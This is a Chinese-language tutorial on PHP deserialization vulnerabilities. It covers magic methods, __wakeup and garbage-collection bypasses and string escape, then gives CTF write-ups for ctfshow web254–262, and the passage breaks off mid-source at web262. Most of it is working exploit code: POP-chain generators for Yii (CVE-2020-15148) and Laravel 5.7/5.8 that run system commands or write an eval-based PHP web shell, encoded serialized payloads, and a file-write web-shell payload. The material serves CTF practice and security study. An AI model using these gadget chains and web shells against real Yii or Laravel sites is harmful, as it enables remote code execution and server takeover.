以题为例浅谈反序列化漏洞

什么是反序列化漏洞

反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。

什么是序列化和反序列化

序列化是将对象的状态信息转换为可以存储或传输的形式的过程,在序列化期间,对象将当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象状态,重新创建该对象。反序列化与此相反;

简单来说就是序列化就是把对象转为字节序列的过程称为对象的序列化,反序列化就是将字节序列恢复为对象的过程称为对象的反序列化;

反序列化的标志函数

serialize,unserialize;

反序列的魔法函数

__construct()   当一个对象创建时被调用,
__destruct()   当一个对象销毁时被调用,
__toString()   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__sleep()    使用serialize时触发
__destruct()    对象被销毁时触发
__call()    在对象上下文中调用不可访问的方法时触发
__callStatic()    在静态上下文中调用不可访问的方法时触发
__get()    用于从不可访问的属性读取数据
__set()    用于将数据写入不可访问的属性
__isset()    在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()    把类当作字符串使用时触发,返回值需要为字符串
__invoke()   当脚本尝试将对象调用为函数时触发
__serialize   serialize()方法检查类是否具有魔术方法__serialize()。如果有,则该功能在任何序列化之前执行,它必须构造并返回代表对象序列化形式的键值对的关联数组。如果未返回任何数组,则引发TypeError
__unserialize    __serialize()的预期用途是定义对象易于序列化的任意表示形式。数组的元素可以对应于对象的属性,但这不是必须的;
__set_state()  调用var_export()方法导出类时,此静态方法会被调用
__clone  当对象复制完成时调用
__autoload  尝试加载未定义的类
__debugInfo   打印所需调试信息

__construct()

这个函数不用多说它一定会被调用的,所以想直接绕过它不可能;

__destruct()

它大部分时间也是一定会被调用的,但遇到垃圾回收机制就不会被调用了,至于垃圾回收机制后面会详细介绍这个点

__toString

当对象被当做字符串被调用时,把类当作字符串使用时触发,返回值需要为字符串;

这是目前总结的__toString触发的条件

当类被当成字符串时会触发
return返回一个字符串,如果在方法中必须要加一个属性,否则需要在用一个函数进行调用,这也需要一个类去触发
toString()的触发条件:把对象当做字符串就会触发这个函数
1.对对象进行echo和print操作就会触发这个函数
2.声明的变量赋值为对象后与字符串类型比较的时候就能触发__toString;
3.声明的变量赋值为对象进行正则匹配的时候就能触发__tostring
4.声明的变量被赋值为对象后进行strolower的时候就能触发__tostring

什么叫做对象,以及类,方法等,在下面这个代码会详细进行介绍

<?php
// 定义一个类
class Car {// 属性public $brand;public $model;public $year;// 方法public function __construct($brand, $model, $year) {$this->brand = $brand;$this->model = $model;$this->year = $year;}public function getDetails() {return "This is a {$this->year} {$this->brand} {$this->model}.";}
}// 创建对象
$car1 = new Car("Toyota", "Corolla", 2020);
$car2 = new Car("Honda", "Civic", 2019);// 使用对象的方法
echo $car1->getDetails(); // 输出:This is a 2020 Toyota Corolla.
echo $car2->getDetails(); // 输出:This is a 2019 Honda Civic.
?>

__wakeup

使用unserialize时触发,它大部分时间都会被触发,大部分在题目都是要绕过它,在这里主要介绍如何进行绕过,主要的绕过方法对象的属性数量大于真实值;

如正常的反序列之后的值为#O:4:"xctf":1:{s:4:"flag";s:3:"111";}

如果遇到__wakeup需要把xctf后面的1改为2进行绕过,这个绕过需要一个条件就是在cve-2016-7124的情况下,适应这个php版本都有点老了,所以现在在实战中非常难遇到;

第二种方法: php引用赋值&,就是类似于c语言中的指针让两个变量指向同一个地址,一个变量的值改变,另一个变量的值会相应的改变,这种绕过在后面会有例题进行详细介绍;

第三种方法就是:fast-destruct这个技巧使destruct提前发生以绕过wakeup(),这个技巧在后面也会根据题目示例进行介绍

第四种方法就是:php issue 进行绕过,在之后会用题的实列进行讲解

第五种方法就是以O开头改成以C开头,但这种只有在php7.3.4版本才能适用,换别的版本就不行了;

以上这五种版本参考博客:PHP反序列化中wakeup()绕过总结 – fushulingのblog

之后我会尽量举例去理解这五种绕过方法

__sleep()

__sleep()魔法函数是在序列化的时候去操作,serialize()函数会检查类中是否存在一个魔法函数__seep,如果有这个函数会先执行这个函数,这个方法会优先被调用,然后才会执行序列化的操作,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。

如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

注意

__sleep() 不能返回父类的私有成员的名字。这样做会产生一个 E_NOTICE 级别的错误。可以用 Serializable 接口来替代。

作用

__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。

参考博客:https://www.cnblogs.com/tzf1/p/15030202.html#9

__call()

在对像调用一个不可访问的变量时会触发,也就是在对象调用不存在的方法时会触发;

例如下面一段代码

<?php
class Person
{                             function say(){  echo "Hello, world!<br>"; }      //声明一个__call函数function __call($funName, $arguments){ echo "你所调用的函数:" . $funName . "(参数:" ;  // 输出调用不存在的方法名print_r($arguments); // 输出调用不存在的方法时的参数列表echo ")不存在!<br>\n"; // 结束换行                      }                                          
}
$Person = new Person();            
$Person->run("teacher"); // 调用对象中不存在的方法,则自动调用了对象中的__call()方法
$Person->eat("小明", "苹果");             
$Person->say();                        

__callStatic()

在调用一个不可访问的方法时会被调用

代码

<?php
class Person
{function say(){echo "Hello, world!<br>";}//声明__callStatic函数public static function __callStatic($funName, $arguments){echo "你所调用的静态方法:" . $funName . "(参数:" ;  // 输出调用不存在的方法名print_r($arguments); // 输出调用不存在的方法时的参数列表echo ")不存在!<br>\n"; // 结束换行}
}
//$Person = new Person();
Person::run("teacher"); // 调用对象中不存在的方法,则自动调用了对象中的__call()方法
Person::eat("小明", "苹果");//静态方法不需要实例化也可调用,所以不需要创建一个新的类Person()

__get()

__get的触发条件如下:

  1. 当使用对象的未定义属性时,即访问一个对象中不存在的属性时,PHP会自动调用 __get() 方法。

  2. 如果属性是私有的或受保护的,而且尝试从对象外部访问这些属性,也会触发 __get() 方法。

  3. 如果属性是公共的,但在类内部的上下文中访问未定义的属性,同样会调用 __get() 方法

例如如下代码

class Example {private $data = array();// __get() 方法会在访问未定义的属性时被调用public function __get($name) {if (array_key_exists($name, $this->data)) {return $this->data[$name];} else {return "Property '{$name}' does not exist!";}}
}$example = new Example();// 访问未定义的属性
echo $example->undefinedProperty; // 会调用 __get() 方法

__set()

它的触发条件总的来说就是当给私有被包含的,不存在的属性赋值时会被触发

以下是详细的触发条件

  1. 当试图为对象的未定义属性赋值时,即给一个对象中不存在的属性赋值时,PHP会自动调用 __set() 方法。

  2. 如果属性是私有的或受保护的,而且尝试从对象外部为这些属性赋值,也会触发 __set() 方法。

  3. 如果属性是公共的,但在类内部的上下文中为未定义的属性赋值,同样会调用 __set() 方法。

以下是代码展示

class Example {private $data = array();// __set() 方法会在为未定义的属性赋值时被调用public function __set($name, $value) {$this->data[$name] = $value;}public function getData() {return $this->data;}
}$example = new Example();// 尝试为未定义的属性赋值
$example->undefinedProperty = "Some value"; // 会调用 __set() 方法// 获取属性值
$data = $example->getData();
print_r($data); // 输出:Array ( [undefinedProperty] => Some value )

__isset()

综述触发条件:当isset()函数去检查对象中不存在或者在对象的外面用isset去检查私有的或者受保护的属性时会被触发,以下是详细的触发条件:

  1. 当使用 isset() 函数检查对象的未定义属性是否设置时,即检查一个对象中不存在的属性时,PHP会自动调用 __isset() 方法。

  2. 如果属性是私有的或受保护的,而且尝试从对象外部检查这些属性是否设置,也会触发 __isset() 方法。

  3. 如果属性是公共的,但在类内部的上下文中检查未定义的属性是否设置,同样会调用 __isset() 方法。

代码展示:

class Example {private $data = array();// __isset() 方法会在检查未定义属性是否设置时被调用public function __isset($name) {return isset($this->data[$name]);}
}$example = new Example();// 使用 isset() 函数检查未定义属性是否设置
echo isset($example->undefinedProperty); // 会调用 __isset() 方法,返回 false

__unserialize 

该魔法函数在反序列化的时候会触发,并且该函数触发的时候,__wakeup函数就不会在触发;

GC垃圾回收机制

原理:在php当中如果对象销毁就会触发__destruct()方法,同时如果程序报错或者异常就不会触发该魔术方法;

也就是说我们想要触发__destruct()方法但被垃圾回收机制阻挡从而不能调用魔法方法__destruct()

那么我们就需要绕过__destruct()这个方法;

那么给一个例子来说明为什么要绕过垃圾回收机制

代码如下:

<?php 
highlight_file(__FILE__); 
error_reporting(0); 
class aa{ public $num; public function __destruct(){ echo $this->num."hello __destruct"; } }
class bb{ public $string; public function __toString() { echo "hello __toString"; $this->string->flag(); } }
class cc{ public $cmd; public function flag(){ echo "hello __flag()"; eval($this->cmd); } 
}
$a=unserialize($_GET['code']); 
throw new Exception("Garbage collection"); 
?>

我们通过分析这段代码去构造一下链子,这道题的链子并不是太难

__destruct()->__toString()->__flag()

非常简单,但就是这么简单的一道题却出现了难点就是throw new Exception("Garbage collection");  这句话成功的使__destruct()函数不能触发

下面直接说明垃圾回收机制应该怎么去绕

有两种方法可以去绕过垃圾回收机制;

第一种方法就是用unset()函数赶在垃圾回收机制前结束从而触发__destruct();

第二种方法将第二个索引置为0,从而绕过垃圾回收机制;

如:

序列化之后改之前的

a:2:{i:0;O:1:"B":0:{}i:1;i:0;}

改之后的

a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

接着我们竟然知道了如何进行绕过,那就继续解决上面那一道例题吧;

先写链子进行触发

<?php 
highlight_file(__FILE__); 
error_reporting(0); 
class cg0{ public $num;
} 
class cg1{ public $string; 
}
class cg2{ public $cmd; 
}
$a = new cg0();
$a->num=new cg1();
$a->num->string=new cg2();
$a->num->string->cmd="phpinfo();";
$b=array($a,0);
echo serialize($b);

运行代码得到

a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}

将第二个索引1改为0得到代码

a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}

尝试一下可以绕过,如果想了解这个漏洞的原理:

呈上大佬的博客:浅析PHP GC垃圾回收机制及常见利用方式 - 先知社区

https://www.cnblogs.com/uf9n1x/p/17187821.htmlt

字符串逃逸

字符串逃逸的原理其实我看了好几篇博客都没看懂,这里呈上大佬关于反序列化字符串逃逸的解释

PHP反序列化 — 字符逃逸 - 先知社区

这其实上网搜索有很多,但看了很多其实我并不理解字符串逃逸的底层到底是什么,可能境界有点低了,不过通过做题我可以发现怎么利用,在这里我只介绍如何利用,而不去解释原理;

字符串逃逸分为两种类型:字符变多,字符变少;

就以题为例子进行介绍吧;

字符串变少

ctfshow 月饼杯 此夜圆

打开需要下载附件,下载之后源码如下

<?php
error_reporting(0);class a
{public $uname;public $password;public function __construct($uname,$password){$this->uname=$uname;$this->password=$password;}public function __wakeup(){if($this->password==='yu22x'){include('flag.php');echo $flag;	}else{echo 'wrong password';}}}function filter($string){return str_replace('Firebasky','Firebaskyup',$string);
}$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

当看到str_replace()这个函数的时候就需要敏感了,只要看到字符串相关的代替,就要敏感这是字符串逃逸了;这就是用Firebasky这个字符串去代替Firebaskyup这个字符串的,知道了这个知识点之后我们就去审计代码看看他的目的是什么,我们可以明显找到输出flag的条件是什么

if($this->password==='yu22x')
{
include('flag.php');
echo $flag;	
}

就是要求password和yu22x相等就可以得到flag了;

";s:8:"password";s:5:"yu22x";}

我们就要添加这串字符串,其它题可以照着这个模板往里面进行替换;

我们看一下这有几个字符,用脚本跑一下得到是30个字符,而Firebasky比Firebaskyup少两个字符所以需要用15个Firebasky字符去逃逸

payload

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

反序列化&的运用

&类似于c语言中的指针,在反序列化中如果可以巧妙的运用可以绕过许多函数,但常用的还是绕过__wakeup()这个魔法函数,上文有提到过;

还是通过题可以更好的理解

2023金盾信安

先看源码

<?php
error_reporting(0);class mouse
{public $rice;function __isset($n){$this->rice->nothing();}}class dog
{public $a;public $b;public $c;function __wakeup(){$this->a = 'chance?';}function __destruct(){$this->b = $this->c;die($this->a);}
}class ct
{public $fish;function __toString(){if(isset($this->fish->d)){echo 'you wrong';}}}class get
{public $cmd;function __call($name,$no){eval($this->cmd);  //result}
}$pop = $_GET['pop'];if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$pop)){echo "you will get flag".'</br>';unserialize($pop);
}
else{die("Try again!");
}

 先找到危险函数,这里的危险函数是eval(),要想使用eval函数那么就要触发__call()这个魔法函数,触发__call()函数需要触发一个不存在的的方法时会触发,那就需要触发__isset()魔法函数,而__isset()这个函数需要不存在的变量才能触发,那么需要触发__toString()这个魔法函数,它需要用

die输出变量代表的字符串去触发,触发之后那就需要触发__destruct()这个魔法函数,而这个魔法函数只要没有垃圾回收机制,它自己就会触发,所以链子就构成了;

那么最后的链子就是回到过来,那么链子如下

dog->ct->mouse->get;这就是链子

链子构成了,这就是一道简单的构造pop链的反序列化,这道题的难点是如何绕过__wakeup()这个魔法函数,为什么需要绕过这个魔法函数__wakeup()呢?因为只要反序列化就一定会触发__wakeup()这个魔法函数的,但如果进入这个__wakeup()这个魔法函数,那么变量a就会被赋予字符串值那它就是一个常量了,那么它就不会触发__toString()这个魔法函数了,所以这里要绕过这个魔法函数,但这里通过增大对象的值不能绕过这个魔法函数,所以需要去找其它的方法,所以这里可以运用&去进行绕过,怎么去绕呢?

怎么绕过只需要看这段代码就行了

class dog
{public $a;public $b;public $c;function __wakeup(){$this->a = 'chance?';}function __destruct(){$this->b = $this->c;die($this->a);}
}

首先看__destruct()这个魔法函数中的两段代码也就是说c的值会等于b

先看看本题如何去利用eval()这个函数,先看看如何进入

脚本如下

<?phpclass get
{public $cmd;}
class mouse
{public $rice;
}class dog
{public $a;public $b;public $c;function __construct(){$this->b=&$this->a;}
}class ct
{public $fish;
}
$f=new dog();
$f->c=new ct();
$f->c->fish=new mouse();
$f->c->fish->rice=new get();
echo serialize($f);

在本地测试中这段代码成功触发了所有的魔法函数,成功进入了eval()命令执行当中;

接下来就是绕过那个正则了,如何绕过这就需要平时的命令执行了

最终脚本

<?phpclass get{public $cmd="print(`uniq /realflag/you_want_flag.php`);";}class mouse{public $rice;}class dog{public $a;public $b;public $c;function __construct(){$this->b=&$this->a;}}class ct{public $fish;}$backdoor=new get();$mouse=new mouse();$dog=new dog();$ct=new ct();$dog->c=$ct;$ct->fish=$mouse;$mouse->rice=$backdoor;print_r(urlencode(serialize($dog)));//O%3A3%3A%22dog%22%3A3%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BR%3A2%3Bs%3A1%3A%22c%22%3BO%3A2%3A%22ct%22%3A1%3A%7Bs%3A4%3A%22fish%22%3BO%3A5%3A%22mouse%22%3A1%3A%7Bs%3A4%3A%22rice%22%3BO%3A3%3A%22get%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A42%3A%22print%28%60uniq+%2Frealflag%2Fyou_want_flag.php%60%29%3B%22%3B%7D%7D%7D%7D

这个命令执行积累一下,接下来会出一篇文章去专门写一下命令执行的相关的知识;

这就是&地址转换的巧妙使用,这种方式通常在绕过__wakeup()这个魔法函数去使用,有些题也可以使用这个方法巧妙的使用;

Yii反序列化漏洞

这个漏洞如果你想要了解底层逻辑,那么可以直接搜索相关漏洞复现,并且复现一下,我在这里就用题进行简单的介绍;

ctfshow web267

这道题打开页面如下图所示

然后点击login,用admin/admin弱密码进行登录,登录之后查看about,然后查看源码,找到一个参数

然后利用这个参数

格式如下

http://59c91bed-fe09-4818-8233-e0f741d86e76.challenge.ctf.show/index.php?r=site%2Fabout&view-source

看到需要传的参数

同时在源码中也看到了这串网址

点击那个yii.js那个网址,可以看到yii的版本

然后上网上找到这个漏洞的相关脚本,这个漏洞为CVE-2020-15148

脚本如下

<?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'shell_exec';      //php函数$this->id ="echo '<?php eval(\$_GET[1]);phpinfo();?>' > shell.php";     //php函数的参数  }}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new CreateAction(), 'run'];}}
}namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader = new Generator;}}
}
namespace{echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

运行可以得到

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NTI6ImVjaG8gJzw/cGhwIGV2YWwoJF9HRVRbMV0pO3BocGluZm8oKTs/PicgPiBzaGVsbC5waHAiO31pOjE7czozOiJydW4iO319fX0=

payload

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NTI6ImVjaG8gJzw/cGhwIGV2YWwoJF9HRVRbMV0pO3BocGluZm8oKTs/PicgPiBzaGVsbC5waHAiO31pOjE7czozOiJydW4iO319fX0=

然后直接访问shell.php,可以看到phpinfo()页面,然后进行命令执行

url/shell.php?1=system('ls /');

url/shell.php?1=system('cat /flag');

就可以得到flag了;

参考博客:CTFshow——web入门——反序列化web254-web278 详细Writeup_ctfshow web254-CSDN博客

Laravel5.8 反序列化漏洞

在这里先上一个脚本吧,之后会专门出一篇文章对这个漏洞进行复现

<?php
namespace PhpParser\Node\Scalar\MagicConst{class Line {}
}
namespace Mockery\Generator{class MockDefinition{protected $config;protected $code;public function __construct($config, $code){$this->config = $config;$this->code = $code;}}
}
namespace Mockery\Loader{class EvalLoader{}
}
namespace Illuminate\Bus{class Dispatcher{protected $queueResolver;public function __construct($queueResolver){$this->queueResolver = $queueResolver;}}
}
namespace Illuminate\Foundation\Console{class QueuedCommand{public $connection;public function __construct($connection){$this->connection = $connection;}}
}
namespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;public function __construct($events, $event){$this->events = $events;$this->event = $event;}}
}
namespace{$line = new PhpParser\Node\Scalar\MagicConst\Line();$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('ls /');");$evalloader = new Mockery\Loader\EvalLoader();$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);echo urlencode(serialize($pendingbroadcast));
}

Laravel5.7(CVE-2019-9081)反序列化漏洞

同样也是先上个脚本之后会专门出文章对这个漏洞进行复现

<?phpnamespace Illuminate\Foundation\Testing {class PendingCommand{public $test;protected $app;protected $command;protected $parameters;public function __construct($test, $app, $command, $parameters){$this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser$this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application$this->command = $command;           //要执行的php函数 system$this->parameters = $parameters;     //要执行的php函数的参数  array('id')}}
}namespace Faker {class DefaultGenerator{protected $default;public function __construct($default = null){$this->default = $default;}}
}namespace Illuminate\Foundation {class Application{protected $instances = [];public function __construct($instances = []){$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;}}
}namespace {$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));$app = new Illuminate\Foundation\Application();$application = new Illuminate\Foundation\Application($app);$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('ls /')); //此处执行命令echo urlencode(serialize($pendingcommand));
}

题例

多说无益,以题见真章

ctfshow web入门

关于ctfshow相关题目就是有些题目我已经解释过了,所以有些题目我只是去写相关的知识点,不在去解释,相关的解释我放在这篇博客了:ctfshow web入门 反序列化-CSDN博客

web254

源码如下:

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
} 

这个就是简单的代码审计,直接上payload

http://95d10ced-6ff7-47a7-811b-9e73df797b99.challenge.ctf.show/?username=xxxxxx&password=xxxxxx

web255

源码如下

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);    if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

简单的反序列化,只需要改变isVip的值为true就行了,payload

<?phpclass ctfShowUser{public $isVip = true;
};echo serialize(new ctfShowUser());?>

然后url编码一下在cookie输入,注意参数的值为user

web256

源码如下:

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);    if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

先审计代码,通过审计代码可以得到让isVip的值为true,并且username和password的值并不相等就可以,脚本如下

<?phpclass ctfShowUser{public $username = 'aaa';public $password = 'bbb';public $isVip = true;
};echo serialize(new ctfShowUser());?>

注意username和password的值可以是任意的,但是一定不要相等,同时get传参的时候要传相应的值

web257

源码如下

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);
}

脚本

<?php
class ctfShowUser{public $class = 'backDoor';public function __construct(){$this->class=new backDoor();}
}
class backDoor{public $code='system("tac flag.php");';}
echo urlencode(serialize(new ctfShowUser));
?>

payload

cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7Dget:
?username=xxxxxx&password=xxxxxx

web258

源码如下

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}$user->login($username,$password);
}

就比上一道题多了一个正则表达式

/`[oc]:\d+:/i意思就是不能出现O:数字,我们用0:+数字即可绕过。`
[oc]: 就是正则匹配的意思
\d:  匹配一个数字字符。等价于 [0-9]。+:  匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
/i:  表示匹配的时候不区分大小写
原本是O:数字,可以用0:+数字绕过

和上一道题的payload相同就是在O:+数字

payload

get: username=xxxxxx&password=xxxxxx
cookie: user=%4F%3A%2B%31%31%3A%22%63%74%66%53%68%6F%77%55%73%65%72%22%3A%31%3A%7B%73%3A%35%3A%22%63%6C%61%73%73%22%3B%4F%3A%2B%38%3A%22%62%61%63%6B%44%6F%6F%72%22%3A%31%3A%7B%73%3A%34%3A%22%63%6F%64%65%22%3B%73%3A%32%33%3A%22%73%79%73%74%65%6D%28%22%74%61%63%20%66%6C%61%67%2E%70%68%70%22%29%3B%22%3B%7D%7D

web259

源码

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');
}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}
}

这道题是反序列化和SSRF的结合,具体的我还没弄懂,看wp也没看懂,先附上一个wp,之后我在补充

ctfshow web259-CSDN博客

web260

源码

<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){echo $flag;
}

payload

?ctfshow="ctfshow_i_love_36D"

web261

源码

 <?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']);

 payload

<?php
class ctfshowvip{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);

最终payload

?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}
访问877.php,并post传入:1=phpinfo();
成功rce

web262

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';
}highlight_file(__FILE__);

看到了注释里面有@message.php这个文件访问一下,得到以下源码

 <?php/*
